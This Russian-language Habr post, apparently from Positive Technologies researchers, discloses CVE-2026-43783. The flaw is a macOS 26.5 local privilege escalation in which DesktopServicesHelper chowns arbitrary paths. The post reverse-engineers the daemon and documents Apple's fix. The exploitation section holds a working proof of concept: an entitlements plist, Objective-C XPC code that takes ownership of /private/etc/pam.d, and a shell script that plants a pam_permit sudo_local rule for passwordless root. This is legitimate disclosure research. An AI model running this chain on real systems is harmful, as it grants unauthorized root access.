📱 Подписаться
IT и цифровая трансформация

CVE-2026-43783: Починить права — получить root: LPE через DesktopServicesHelper в macOS 26.5

📰 Habr 👁️ 0 просмотров

ptsecurity14 часов назадОбъяснить с

CVE-2026-43783: Починить права — получить root: LPE через DesktopServicesHelper в macOS 26.5

Уровень сложностиСреднийВремя на прочтение13 минОхват и читатели5.5KБлог компании Positive TechnologiesmacOS*Информационная безопасность*КейсПривет, Хабр! Меня зовут Илья Андр и я работаю в команде PT Maze. В статье расскажу, как любопытство помогло мне найти и помочь закрыть CVE-2026-43783. Демон, который Finder использует для «починки» прав на iCloud‑файлы, оказался готов починить права на что угодно — включая системные директории. В этой статье разберем, как устроен DesktopServicesHelper изнутри и почему одного XPC‑запроса хватило для получения root. Но для того чтобы разобраться, как именно такое стало возможно, сперва немного теории по внутренностям macOS.

Немного про macOS

В macOS много системных демонов — фоновых процессов, работающих с повышенными привилегиями. Они общаются с приложениями через XPC — механизм межпроцессного взаимодействия от Apple. Приложение подключается к демону по имени его mach‑сервиса, отправляет запрос — демон выполняет. Сами сообщения — это словари ключ‑значение (xpc_dictionary), в которые можно упаковать произвольные данные: строки, числа, массивы, бинарные блобы.

За доступ к защищенным ресурсам отвечает подсистема TCC. Обычные приложения должны запрашивать разрешение у пользователя, но системные компоненты Apple могут обходить TCC. Entitlements — это специальные ключи, встроенные в code signature бинарника, которые определяют его привилегии. Например, ключ com.apple.private.tcc.allow со значением kTCCServiceSystemPolicyAllFiles дает процессу полный доступ ко всем файлам на диске — без вопросов к пользователю. С поиска таких привилегированных XPC‑сервисов с полным доступом к диску начался мой путь к CVE-2026-43783.

Поиск цели

В глаза бросился DesktopServicesHelper по пути /System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Versions/A/Resources/DesktopServicesHelper. Finder использует его для файловых операций, требующих повышенных привилегий: перемещение файлов, установка прав, работа с корзиной.

Entitlements DesktopServicesHelperЗагрузил бинарь в IDA и пошел в start(). Среди инициализации таймеров и очередей видим создание XPC‑listener'а — точки входа демона. Listener регистрирует mach‑сервис под определенным именем и начинает слушать входящие подключения. Любой процесс, знающий это имя, может подключиться и отправить запрос. Вот ключевая часть:

//получаем имя сервиса
v16 = (const char *)sub_1000709F4(a1: 0);
//регистрируем listener
mach_service = xpc_connection_create_mach_service(name: v16, targetq: nullptr, flags: 1u);
//назначаем обработчик входящих событий
xpc_connection_set_event_handler(connection: mach_service, handler: &stru_1000B4B48);
xpc_connection_resume(connection: mach_service);
//запускаем event loop
CFRunLoopRun();Функция sub_1000709F4 возвращает имя mach‑сервиса. В start() она вызывается с аргументом 0, а значит демон регистрируется под именем com.apple.DesktopServicesHelper.

const char *__fastcall sub_1000709F4(int a1)
{
if ( a1 != 0 )
return "com.apple.DesktopServicesScriptingHelper";
else
return "com.apple.DesktopServicesHelper";
}stru_1000B4B48 — блок‑обработчик (callback), который демон вызывает при каждом входящем событии. В XPC взаимодействие устроено через сообщения: клиент формирует словарь с ключами и значениями, отправляет его демону, а демон разбирает содержимое и решает что делать. Все входящие события попадают именно в этот обработчик. Заглянем внутрь.

stru_1000B4B48 в IDAInvoke‑функция блока — sub_100032044. При новом подключении демон первым делом получает euid и egid клиента — effective user ID и group ID — идентификаторы пользователя и группы, от имени которых работает подключившийся процесс:

euid = xpc_connection_get_euid(connection: v8);
egid = xpc_connection_get_egid(connection: v8);
sub_100071268(a1: euid, a2: egid);Затем назначает на соединение обработчик для входящих сообщений:

v15[2] = sub_10003AB2C; // invoke-функция блока
xpc_connection_set_event_handler(connection: v14, handler: v15);
xpc_connection_resume(connection: v14);sub_10003AB2C — сюда попадают уже конкретные XPC‑запросы от клиента. Теперь нужно понять, как демон решает, какой запрос выполнить, а какой отклонить.

Диспетчер запросов

sub_10003AB2C — главный диспетчер. Здесь демон решает, что делать с запросом. Функция большая, поэтому разберем ее по частям.

Первым делом демон извлекает из сообщения строку request — имя команды, которую хочет выполнить клиент:

reply = xpc_dictionary_create_reply(original: v12);
string = xpc_dictionary_get_string(xdict: v12, key: "request");
// ...
// логирование: "Got Request '%{public}@'"Затем демон получает audit token подключившегося процесса и проверяет, находится ли он в песочнице (App Sandbox). App Sandbox — это механизм изоляции приложений в macOS, ограничивающий их доступ к файловой системе, сети и другим ресурсам. Логика разветвляется в зависимости от результата:

xpc_dictionary_get_audit_token(a1: v12, a2: buf);
qmemcpy(__p, buf, sizeof(__p));
if ( (unsigned int)sandbox_check_by_audit_token(a1: __p, a2: 0, a3: 0) != 0 )
{
// клиент в песочнице - проверяем по белому списку
if ( (sub_10003B25C(a1: &v32, a2: "Handshake") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "exit") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "SetDefaultPermissionOnHomeSubdirectories") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "MoveAsideICloudToArchiveInHome") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "RepairPermissionsForCloudItems") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "CopyClientActive") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "DeleteItem") & 1) == 0 )
{
sub_100034250(a1: v12, a2: &v32); // не в списке - убить демон
}
}
else
{
// клиент не в песочнице - проверяем entitlement
*(_QWORD *)buf = sub_1000343C0(a1: v12, a2: CFSTR("com.apple.private.tcc.allow"));
v19 = (const __CFArray *)sub_10003B1E0();
v20 = v19;
if ( v19 == nullptr
|| (v35.length = CFArrayGetCount(theArray: v19),
v35.location = 0,
CFArrayContainsValue(theArray: v20, range: v35, value: CFSTR("kTCCServiceSystemPolicyAllFiles")) == 0) )
{
sub_100034250(a1: v12, a2: &v32); // нет entitlement - убить демон
}
}Если клиент в песочнице — имя запроса проверяется по белому списку из семи строк. Если совпало — проверка пройдена, запрос уходит дальше. Если нет — sub_100034250 убивает демон. Если клиент не в песочнице — демон проверяет наличие entitlement com.apple.private.tcc.allow со значением kTCCServiceSystemPolicyAllFiles. Нет entitlement — тоже смерть.

После прохождения проверки запрос попадает в каскад из двух таблиц обработчиков. Сначала sub_10002F7C8, затем sub_10002A194:

// первая таблица (8 команд, два аргумента)
v21 = sub_10002F7C8(a1: buf);
// ...
if ( v21 != 0 )
v22(a1: v12, a2: v11); // нашли - вызываем
// вторая таблица (21 команда, три аргумента)
v27 = sub_10002A194(a1: buf);
// ...
if ( v27 != nullptr )
v27(a1: v12, a2: reply, a3: v11); // нашли - вызываемТеперь посмотрим на таблицы обработчиков. Первая таблица (sub_10002F7C8):

__int64 __fastcall sub_10002F7C8(__int64 a1)
{
__int64 result; // x0
void **v3; // x21
void **v4; // x8
_BYTE v5[32]; // [xsp+8h] [xbp-128h] BYREF
__int64 v6; // [xsp+28h] [xbp-108h] BYREF
__int64 v7; // [xsp+48h] [xbp-E8h] BYREF
__int64 v8; // [xsp+68h] [xbp-C8h] BYREF
__int64 v9; // [xsp+88h] [xbp-A8h] BYREF
__int64 v10; // [xsp+A8h] [xbp-88h] BYREF
__int64 v11; // [xsp+C8h] [xbp-68h] BYREF
__int64 v12; // [xsp+E8h] [xbp-48h] BYREF
__int64 v13; // [xsp+108h] [xbp-28h] BYREF

if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD8C8, memory_order_acquire) & 1) == 0
&& __cxa_guard_acquire(a1: &qword_1000BD8C8) != 0 )
{
sub_10002AA78(a1: (int)v5, __s: "OperationSizing");
sub_10002AA78(a1: (int)&v6, __s: "SetChildPermissions");
sub_10002AA78(a1: (int)&v7, __s: "RunTrashOperation");
sub_10002AA78(a1: (int)&v8, __s: "ChildCreateLock");
sub_10002AA78(a1: (int)&v9, __s: "RunSetRootMetadata");
sub_10002AA78(a1: (int)&v10, __s: "RunCopyMoveOperation");
sub_10002AA78(a1: (int)&v11, __s: "DeleteBackup");
sub_10002AA78(a1: (int)&v12, __s: "DeleteItem");
sub_10003BDDC(a1: &unk_1000BD8A0, a2: v5, a3: 8);
v3 = (void **)&v13;
do
{
v4 = v3;
v3 -= 4;
if ( *((char *)v4 - 9) < 0 )
operator delete(__p: *v3);
}
while ( v3 != (void **)v5 );
__cxa_guard_release(a1: &qword_1000BD8C8);
}
result = sub_10003BCF0(a1: &unk_1000BD8A0, a2: a1);
if ( result != 0 )
return *(_QWORD *)(result + 40);
return result;
}Тут ничего интересного. Восемь обработчиков (OperationSizing, SetChildPermissions,...), все закрыты проверкой entitlements. Но есть вторая таблица — v27 = sub_10002A194(a1: buf):

__int64 __fastcall sub_10002A194(__int64 a1)
{
__int64 result; // x0
void **v3; // x21
void **v4; // x8
_BYTE v5[32]; // [xsp+8h] [xbp-2C8h] BYREF
__int64 v6; // [xsp+28h] [xbp-2A8h] BYREF
__int64 v7; // [xsp+48h] [xbp-288h] BYREF
__int64 v8; // [xsp+68h] [xbp-268h] BYREF
__int64 v9; // [xsp+88h] [xbp-248h] BYREF
__int64 v10; // [xsp+A8h] [xbp-228h] BYREF
__int64 v11; // [xsp+C8h] [xbp-208h] BYREF
__int64 v12; // [xsp+E8h] [xbp-1E8h] BYREF
__int64 v13; // [xsp+108h] [xbp-1C8h] BYREF
__int64 v14; // [xsp+128h] [xbp-1A8h] BYREF
__int64 v15; // [xsp+148h] [xbp-188h] BYREF
__int64 v16; // [xsp+168h] [xbp-168h] BYREF
__int64 v17; // [xsp+188h] [xbp-148h] BYREF
__int64 v18; // [xsp+1A8h] [xbp-128h] BYREF
__int64 v19; // [xsp+1C8h] [xbp-108h] BYREF
__int64 v20; // [xsp+1E8h] [xbp-E8h] BYREF
__int64 v21; // [xsp+208h] [xbp-C8h] BYREF
__int64 v22; // [xsp+228h] [xbp-A8h] BYREF
__int64 v23; // [xsp+248h] [xbp-88h] BYREF
__int64 v24; // [xsp+268h] [xbp-68h] BYREF
__int64 v25; // [xsp+288h] [xbp-48h] BYREF
__int64 v26; // [xsp+2A8h] [xbp-28h] BYREF

if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD898, memory_order_acquire) & 1) == 0
&& __cxa_guard_acquire(a1: &qword_1000BD898) != 0 )
{
sub_10002AA78(a1: (int)v5, __s: "Handshake");
sub_10002AA78(a1: (int)&v6, __s: "MoveAndRename");
sub_10002AA78(a1: (int)&v7, __s: "SetDefaultPermissionOnHomeSubdirectories");
sub_10002AA78(a1: (int)&v8, __s: "MoveAsideICloudToArchiveInHome");
sub_10002AA78(a1: (int)&v9, __s: "RepairPermissionsForCloudItems");
sub_10002AA78(a1: (int)&v10, __s: "CheckPermissionsForCloudItem");
sub_10002AA78(a1: (int)&v11, __s: "AbortResumableCopy");
sub_10002AA78(a1: (int)&v12, __s: "SetLabel");
sub_10002AA78(a1: (int)&v13, __s: "SetAppCategories");
sub_10002AA78(a1: (int)&v14, __s: "CreateIconFile");
sub_10002AA78(a1: (int)&v15, __s: "RemoveIconFile");
sub_10002AA78(a1: (int)&v16, __s: "RepairTrash");
sub_10002AA78(a1: (int)&v17, __s: "Rename");
sub_10002AA78(a1: (int)&v18, __s: "CreateFolder");
sub_10002AA78(a1: (int)&v19, __s: "CreateAlias");
sub_10002AA78(a1: (int)&v20, __s: "RemoveTrashItemsOlderThanDate");
sub_10002AA78(a1: (int)&v21, __s: "SetTags");
sub_10002AA78(a1: (int)&v22, __s: "cancel");
sub_10002AA78(a1: (int)&v23, __s: "pause");
sub_10002AA78(a1: (int)&v24, __s: "resume");
sub_10002AA78(a1: (int)&v25, __s: "exit");
sub_10003B360(a1: &unk_1000BD870, a2: v5, a3: 21);
v3 = (void **)&v26;
do
{
v4 = v3;
v3 -= 4;
if ( *((char *)v4 - 9) < 0 )
operator delete(__p: *v3);
}
while ( v3 != (void **)v5 );
__cxa_guard_release(a1: &qword_1000BD898);
}
result = sub_10003BCF0(a1: &unk_1000BD870, a2: a1);
if ( result != 0 )
return *(_QWORD *)(result + 40);
return result;
}Уже 21 обработчик. Диспетчер работает каскадно: сначала ищет имя запроса в первой таблице (sub_10002F7C8, 8 команд) — это «fire‑and‑forget» операции, которые принимают XPC‑соединение и peer (объект клиента), но не возвращают ответ. Если не нашел — ищет во второй (sub_10002A194, 21 команда) — это операции с ответом, которые дополнительно получают reply (объект для отправки результата обратно клиенту).

Почти все команды либо не делают ничего интересного, либо закрыты проверкой entitlements. Но есть одна, которая открыта — RepairPermissionsForCloudItems. Найдем ее обработчик — в ассемблере видно, что sub_10002AA78 принимает третьим аргументом указатель на функцию:

text:000000010002A2AC MOV X2, X16
text:000000010002A2B0 MOV X0, X20 ; int
__text:000000010002A2B4 BL sub_10002AA78
__text:000000010002A2B8 ADD X21, SP, #0x2D0+var_2C8
text:000000010002A2BC ADD X20, X21, #0x80
text:000000010002A2C0 ADRL X1, aRepairpermissi ; "RepairPermissionsForCloudItems"
__text:000000010002A2C8 ADRL X16, sub_10002D744
__text:000000010002A2D0 PACIZA X16RepairPermissionsForCloudItems ‑>>> sub_10002D744. Мы нашли единственный обработчик, доступный из песочницы без дополнительных entitlements. Осталось разобрать, что именно он делает с переданными данными.

Разбор обработчика RepairPermissionsForCloudItems

Обработчик sub_10002D744 делает три вещи. Сначала достает из XPC‑сообщения ключ "Paths" и десериализует его через NSKeyedUnarchiver в массив строк:

```c
v8 = objc_claimAutoreleasedReturnValue((id)sub_100028810(a1: v5, a2: "Paths"));
v9 = objc_claimAutoreleasedReturnValue(
+[NSKeyedUnarchiver unarchivedArrayOfObjectsOfClass:fromData:error:](
&OBJC_CLASS___NSKeyedUnarchiver,
"unarchivedArrayOfObjectsOfClass:fromData:error:",
objc_opt_class(a1: &OBJC_CLASS___NSString),
v8,
&v25));
```Затем передает каждый путь в sub_100029CE4 через sub_100034B5C, чтобы определить, нужна ли «починка». Для путей, где починка нужна, вызывает sub_10002A11C:

```c
sub_100034B5C(a1: v22, a2: v24, a3: sub_100029CE4);
if ( v22[0] != v22[1] )
sub_10002A11C(a1: v5, a2: v22);
```Никакой валидации путей — что передали, то и обрабатывает. Функция sub_100029CE4 проверяет, нужна ли «починка». Вот ключевая логика:

```c
v3 = lstat(a1: v2, a2: &v28);
// ...
if ( (v28.st_mode & 0xF000) != 0x4000 && v28.st_nlink > 1u )
return false; // не директория + hardlinks > 1 - пропустить
v6 = sub_100071288(a1: v4); // получить UID вызывающего
if ( v28.st_uid != v6 )
return true; // владелец не совпадает - нужна починка
```Логика проверки:

lstat(path)

│

├─ не директория && hardlinks > 1 ?

│ └─ да → false (пропустить)

│

├─ st_uid == наш UID ?

│ └─ да → false (владелец совпадает, починка не нужна)

│ └─ нет → true (нужна починка)

│

└─ директория ?

└─ да → рекурсия по содержимомуДля путей, где починка нужна, вызывается sub_10002A11C — простой цикл, который итерирует по результатам и вызывает sub_100029440 для каждого. Вот ключевая логика sub_100029440:

```c fd = open(path, 0x200000); fstat(fd, &st);

// единственная проверка: не директория + hardlinks >= 2 - пропустить
if ( (st.st_mode & 0xF000) != 0x4000 && st.st_nlink >= 2u )
return close(fd);

// получаем UID вызывающего процесса (нас - 501) caller_uid = sub_100071288();

// владелец не совпадает - меняем на наш
if ( st.st_uid != caller_uid )
fchown(fd, caller_uid, st.st_gid);

close(fd);

// если директория - рекурсивно вызываем себя для каждого элемента
if ( (st.st_mode & 0xF000) == 0x4000 )
sub_100029440(child_path);
```Вот и все. fchown на переданный путь — без проверки, что он находится в ~/Library/Mobile Documents/ или каком‑то iCloud‑контейнере. Никакой валидации. А если путь — директория, функция рекурсивно обходит все содержимое и делает fchown на каждый элемент.

Перечитайте еще раз. Вдумайтесь. Передаем любую директорию — получаем в собственность все ее содержимое.

Итого

Полная цепочка от XPC‑запроса до fchown:

Sandboxed app

│

├─ xpc_connection_create_mach_service("com.apple.DesktopServicesHelper")

│

├─ xpc_dictionary: "request" = "RepairPermissionsForCloudItems"

│ "Paths" = ["/private/etc/pam.d"]

│

└─ отправка ──► DesktopServicesHelper (root)

│

├─ sandbox_check: клиент в песочнице? → да

├─ белый список: RepairPermissionsForCloudItems? → да, пропускаем

├─ NSKeyedUnarchiver: достаем пути

├─ lstat: st_uid != caller_uid? → да, нужна починка

└─ fchown(path, 501, gid) ← произвольный путь, никакой валидации

Один XPC-запрос - и любой файл или директория в нашей собственности.

Эксплуатация

Итак, у нас есть произвольный chown любого пути на диске. Осталось превратить это в root.

На macOS аутентификация работает через PAM. Конфиги лежат в /private/etc/pam.d/ — по файлу на каждую программу, которая проверяет пароль: sudo, login, su и так далее. Директория принадлежит root:wheel. А значит — мы можем забрать ее себе через наш chown. После этого мы вольны создать файл /private/etc/pam.d/sudo_local с одной строкой:

auth sufficient pam_permit.sopam_permit.so — PAM‑модуль, который всегда возвращает успех. sudo проверяет sudo_local до основного конфига. Итог: sudo больше не спрашивает пароль.

Но есть проблема. Просто так подключиться к com.apple.DesktopServicesHelper из песочницы нельзя: sandbox по умолчанию блокирует mach‑lookup к этому сервису. При этом сам демон проверяет, что вызывающий процесс находится в песочнице — и только тогда пропускает RepairPermissionsForCloudItems без проверки entitlements. Ирония: sandbox здесь не защита, а пропуск.

Чтобы sandbox разрешил mach‑lookup, нужен entitlement com.apple.security.temporary‑exception.mach‑lookup.global‑name. Собираем минимальный набор entitlements для PoC‑приложения:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
<key>com.apple.security.temporary-exception.mach-lookup.global-name</key>
<array>
<string>com.apple.DesktopServicesHelper</string>
</array>
</dict>
</plist>Два entitlement'а. com.apple.security.app-sandbox — включаем песочницу (без нее демон потребует TCC‑entitlement и не пропустит нас). com.apple.security.temporary-exception.mach-lookup.global-name — entitlement‑исключение для sandbox. Песочница разрешает подключение не ко всем mach‑сервисам, и com.apple.DesktopServicesHelper в список разрешенных не входит. Этот ключ добавляет исключение для конкретного сервиса. Больше ничего не нужно.

Пишем прямо во ViewController.m. Ключевой метод — chownPath:, который подключается к демону и отправляет запрос:

- (void)chownPath:(NSString *)path
{
xpc_connection_t conn = xpc_connection_create_mach_service(
"com.apple.DesktopServicesHelper", NULL, 0);
if (!conn) return;

xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {});
xpc_connection_resume(conn);

NSData *archived = [NSKeyedArchiver archivedDataWithRootObject:@[ path ]
requiringSecureCoding:YES
error:nil];

xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(msg, "request", "RepairPermissionsForCloudItems");
xpc_dictionary_set_data(msg, "Paths", archived.bytes, archived.length);

xpc_connection_send_message_with_reply_sync(conn, msg);
}Подключаемся к com.apple.DesktopServicesHelper, архивируем путь в NSArray через NSKeyedArchiver (как ожидает демон), формируем XPC‑словарь с ключом "request" = "RepairPermissionsForCloudItems" и отправляем. При запуске приложения вызываем chownPath: на /private/etc/pam.d и проверяем результат:

- (void)runExploit { [self chownPath:@"/private/etc/pam.d"]; usleep(200000);

struct stat st; if (lstat("/private/etc/pam.d", &st) != 0) return;

if (st.st_uid == getuid())
NSLog(@"ok");
}200мс ожидания, затем lstat — если владелец сменился на наш UID, значит chown прошел. Осталось собрать все вместе. Шелл‑скрипт запускает PoC‑приложение, ждет пока демон отработает, проверяет что chown прошел, пишет PAM‑правило и получает root:

#!/bin/sh set -e

PAM_DIR="/private/etc/pam.d" SUDO_LOCAL="$PAM_DIR/sudo_local"

# наше приложение
./poc.app/Contents/MacOS/poc &
POC_PID=$!
sleep 4
kill $POC_PID 2>/dev/null || true
wait $POC_PID 2>/dev/null || true

if [ "$(stat -f %u "$PAM_DIR")" != "$(id -u)" ]; then
echo "chown failed"
exit 1
fi

echo 'auth sufficient pam_permit.so' > "$SUDO_LOCAL"
chmod 644 "$SUDO_LOCAL"

# root sudo id sudo su

Патч Apple

В обработчик RepairPermissionsForCloudItems Apple добавили проверку на entitlement check:

if ( (sub_100034110(a1: v5, a2: CFSTR("com.apple.private.desktopservices.cloud-repair-perm")) & 1) == 0 )
{
sub_100034250(a1: v5, a2: v22); // нет entitlement - убить демон
}Теперь только процессы с приватным entitlement com.apple.private.desktopservices.cloud-repair-perm могут вызвать RepairPermissionsForCloudItems. Без него — sub_100034250 убивает демон. Остальная логика функции не изменилась.

Timeline

• 09.05.2026 Отправлен репорт в Apple Product Security
• 11.05.2026 Apple поставили репорт в ревью
• 13.05.2026 Apple воспроизвели баг, запланировали фикс на осень
• 26.05.2026 Патч в macOS 26.6 beta 1
• 11.08.2026 Присвоен CVE-2026-43783Спасибо за прочтение, удачного багхантинга!Теги:• apple
• cve
• entitlements
• песочница appleХабы:• Блог компании Positive Technologies
• macOS
• Информационная безопасность

Получайте больше инсайтов о систематизации бизнеса

Подписывайтесь на Telegram-канал Business Operations — ежедневные материалы о бизнес-процессах, операционном управлении и повышении эффективности

💬 Подписаться на канал